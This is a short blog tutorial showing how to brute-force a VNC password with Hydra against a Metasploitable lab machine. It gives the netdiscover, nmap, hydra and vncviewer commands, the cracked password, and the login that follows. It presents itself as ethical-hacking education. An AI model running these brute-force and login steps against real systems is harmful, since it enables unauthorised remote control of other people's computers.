Cracking VNC Password Using Hydra

Today we are going learn how to crack the password of VNC service using Hydra Tool. 

Disclaimer: The articles provided on HackWithV is purely for informational and educational purpose only, and for those who are willing and curious to know & learn about Ethical Hacking, Security and Penetration Testing. Anytime the word "Hacking" that is used on this site shall be regarded as Ethical Hacking.

What is VNC?

  • Virtual Network Computing (VNC) is a graphical desktop-sharing system that uses the Remote Frame Buffer protocol (RFB) to remotely control another computer. 

What is Hydra?

  • Hydra is a parallelized login cracker which supports numerous protocols to attack.
  • New modules are easy to add, beside that, it is flexible and very fast.
  • This tool gives researchers and security consultants the possibility to show how easy it would be to gain unauthorized access from remote to a system.

Practical:

  • Attacker: Kali Linux(OS), Hydra(Tool), Wordlist.
  • Victim: Metasploitable(OS), VNC Server.
 

 sudo netdiscover

  • Here we got the IP (192.168.137.187) of victim. Now lets scan for VNC service.
 nmap -sV -p 5900,5901 192.168.137.187

  • The nmap says that the victim is running VNC service. Now its time for cracking the password of VNC with the help of Hydra tool.
 hydra -help


 hydra -s 5901 -P passwords.txt -w 5 -t 1 192.168.137.187 vnc

  • Here,

        -s is to specify the port number

        -w is to wait 

        -t is number of tasks parallel

        -P is list of Passwords

  • Here we go, password is 87654321.
  • Now try to connect to VNC with these credentials.
    vncviewer 192.168.137.187:5901

    • Here we got remote login into victim machine using vncviewer.

     

    Be Aware, Be Secure.

    Thank You 🙏


    Comments

    Post a Comment

    Popular posts from this blog

    Demo 1- How to Track Location by a Link

    Snyk - Ubuntu 20.04 (Linux)